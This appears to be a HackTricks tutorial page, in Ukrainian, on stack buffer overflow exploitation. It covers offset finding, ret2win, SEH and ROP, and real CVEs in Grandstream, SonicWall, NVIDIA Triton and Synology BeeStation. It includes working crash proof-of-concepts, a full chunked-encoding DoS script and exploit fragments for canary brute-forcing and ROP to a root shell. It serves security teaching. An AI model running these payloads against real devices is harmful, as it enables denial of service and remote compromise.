Stack Overflow

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке Stack Overflow

A stack overflow — це вразливість, що виникає, коли програма записує в стек більше даних, ніж для нього виділено. Ці зайві дані будуть перезаписувати сусідню область пам’яті, що призведе до пошкодження коректних даних, порушення керування потоком виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж для вводу.

Основна проблема такого перезапису полягає в тому, що saved instruction pointer (EIP/RIP) і saved base pointer (EBP/RBP) для повернення до попередньої функції зберігаються в стеку. Тому атакуючий зможе перезаписати їх і контролювати потік виконання програми.

Вразливість зазвичай виникає через те, що функція копіює в стек більше байтів, ніж для нього виділено, тим самим маючи можливість перезаписати інші частини стека.

Деякі поширені функції, вразливі до цього: strcpy, strcat, sprintf, gets… Також функції, як-от fgets, read і memcpy, що приймають аргумент довжини, можуть бути використані у вразливий спосіб, якщо вказана довжина більша за виділену.

Наприклад, наступні функції можуть бути вразливими:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Пошук Stack Overflows offsets

Найпоширеніший спосіб знайти stack overflows — подати дуже великий ввід з A (наприклад python3 -c 'print("A"*1000)') і очікувати Segmentation Fault, що вказує, що адресу 0x41414141 було спробовано звернути.

Крім того, коли ви виявили, що є Stack Overflow вразливість, потрібно знайти offset до моменту, коли можна буде перезаписати return address; для цього зазвичай використовують De Bruijn sequence. Яка для заданого алфавіту розміру k та підпослідовностей довжини n є циклічною послідовністю, в якій кожна можлива підпослідовність довжини n з’являється рівно один раз як суміжна підпослідовність.

Таким чином, замість того, щоб вручну визначати, який offset потрібен для контролю EIP, можна використовувати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали.

Для цього можна використовувати pwntools:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

або GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Експлуатація Stack Overflows

Під час overflow (за умови, що розмір переповнення достатній) ви зможете перезаписати значення локальних змінних у стекті аж до збережених EBP/RBP та EIP/RIP (або навіть більше).
Найпоширеніший спосіб зловживання цією вразливістю — змінити адресу повернення, щоб коли функція завершиться, потік керування був перенаправлений туди, куди вказав attacker у цьому вказівнику.

Однак у інших сценаріях може бути достатньо просто перезаписати значення деяких змінних у стекті для експлуатації (наприклад у простих CTF задачах).

Ret2win

У такого роду CTF задачах у бінарі є функція, всередині якої якась функція ніколи не викликається, і яку потрібно викликати, щоб виграти. Для таких задач потрібно лише знайти офсет для перезапису адреси повернення і знайти адресу функції, яку треба викликати (зазвичай ASLR буде відключено), так що коли вразлива функція повертається, прихована функція буде викликана:

Ret2win

Stack Shellcode

У цьому сценарії attacker може помістити shellcode у стек і скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. При експлуатації зазвичай замінюють вказівник SEH на POP POP RET gadget і використовують 4-байтове поле nSEH для короткого переходу назад у великий буфер, де знаходиться shellcode. Поширений шаблон — короткий jmp у nSEH, що потрапляє на 5-байтовий near jmp, розміщений безпосередньо перед nSEH, щоб перескочити на сотні байтів назад до початку payload.

Windows SEH Overflow

ROP & Ret2… techniques

Ця техніка є базовим підходом для обходу головного захисту від попередньої техніки: No executable stack (NX). Вона також дозволяє виконувати кілька інших технік (ret2lib, ret2syscall…), які призведуть до виконання довільних команд, використовуючи наявні інструкції в бінарі:

ROP & JOP

Heap Overflows

Переповнення не завжди відбувається у стеці, воно також може бути у heap, наприклад:

Heap Overflow

Types of protections

Існує кілька захистів, що намагаються запобігти експлуатації вразливостей — перегляньте їх у:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) експонує /cgi-bin/api.values.get на TCP/80 з відсутньою автентифікацією. POST-параметр request розділений двокрапками; кожен символ копіюється в char small_buffer[64], а токен закінчується NUL при : або кінці, без будь-якої перевірки довжини, що дозволяє одному надмірно довгому токену зламати збережені регістри/адресу повернення.
  • PoC overflow (крашиться і показує дані attacker у регістрах): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement: кожна двокрапка перезапускає парсинг і додає завершаючий NUL. Використовуючи кілька занадто довгих ідентифікаторів, термінатор кожного токена можна вирівняти на різний офсет у пошкодженому фреймі, що дозволяє attacker розмістити кілька 0x00 байтів, хоча зазвичай кожне переповнення додає лише один. Це критично, тому що non-PIE бінар відмаплений за 0x00008000, тож адреси ROP gadget містять NUL-байти.
  • Приклад payload з двокрапками для розміщення п’яти NUL-байтів у вибраних офсетах (довжини налаштовані під макет стека): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksec показує NX увімкнено, немає canary, немає PIE. Експлуатація використовує ROP-ланцюжок, збудований з фіксованих адрес (наприклад, виклик system() потім exit()), розміщуючи аргументи після встановлення потрібних NUL-байтів трюком з розділювачем.

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Хороший приклад того, чому sscanf ніколи не слід довіряти для парсингу неперевіреного вводу, з’явився у 2025 році в пристрої SonicWall SMA100 SSL-VPN. Вразлива процедура всередині /usr/src/EasyAccess/bin/httpd намагається витягти версію та endpoint з будь-якого URI, який починається з /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Перше перетворення (%2s) безпечно записує два байти в version (наприклад "v1").
  2. Друге перетворення (%s) не має специфікатора довжини, тому sscanf продовжуватиме копіювання доки не зустріне перший NUL byte.
  3. Оскільки endpoint розташований на stack і має довжину 0x800 bytes, передача шляху довшого за 0x800 bytes пошкоджує все, що знаходиться після буфера ‑ включно з stack canary та saved return address.

Достатньо однорядкового proof-of-concept, щоб спричинити крах перед аутентифікацією:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Навіть якщо stack canaries переривають виконання процесу, зловмисник все одно отримує примітив Denial-of-Service (а за наявності додаткових інформаційних leaks — можливо й code-execution).

Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA Triton Inference Server (≤ v25.06) містив кілька stack-based overflows, доступних через його HTTP API. Вразливий шаблон повторно зустрічався в http_server.cc та sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) повертає кількість внутрішніх сегментів буфера, які складають поточне тіло HTTP-запиту.
  2. Кожен сегмент спричиняє виділення evbuffer_iovec розміром 16-byte на stack через alloca()без жодних верхніх обмежень.
  3. Зловживаючи HTTP chunked transfer-encoding, клієнт може змусити запит розбитися на сотні тисяч 6-byte chunks ("1\r\nA\r\n"). Це змушує n зростати без обмежень, доки stack не вичерпається.

Доказ концепції (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Приблизно 3 MB запиту достатньо, щоб переписати saved return address і **crash** the daemon за збірки за замовчуванням.

### Реальний приклад: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Ланцюг Synacktiv на Pwn2Own 2025 використав pre-auth overflow у `SYNO.BEE.AdminCenter.Auth` на порту 5000. `AuthManagerImpl::ParseAuthInfo` Base64-декодує введення атакувальника в 4096-байтовий стековий буфер, але неправильно встановлює `decoded_len = auth_info->len`. Оскільки CGI worker форкається на кожен запит, кожна child успадковує parent’s stack canary, тож одного стабільного overflow primitive достатньо, щоб пошкодити стек і leak усі необхідні secrets.

#### Base64-декодований JSON як структурований overflow
Декодований blob має бути валідним JSON і містити ключі `"state"` та `"code"`; інакше парсер завершує роботу до того, як overflow стане корисним. Synacktiv вирішили це, Base64-енкодивши payload, який декодується у JSON, потім байт NUL, а потім потік overflow. `strlen(decoded)` зупиняється на NUL, тому парсинг проходить, але `SLIBCBase64Decode` вже перезаписав стек за межами JSON-об'єкта, покриваючи canary, saved RBP і return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi форкається при кожному HTTP-запиті, тому всі дочірні процеси використовують один і той же canary, stack layout та PIE slide. The exploit трактує HTTP status code як oracle: відповідь 200 означає, що вгаданий байт зберіг стек, тоді як 502 (або розірване з’єднання) означає, що процес впав. Brute-forcing кожного байта послідовно відновлює 8-байтовий canary, saved stack pointer і return address всередині libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.

Від leaks до ROP & виконання

Коли library base відома, звичайні гаджети (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) створюють примітив arb_write, який розміщує /bin/bash, -c та команду атакуючого на leaked stack address. Нарешті, ланцюжок налаштовує calling convention для SLIBCExecl (a BeeStation wrapper around execl(2)), що дає root shell без потреби в окремому info-leak багу.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks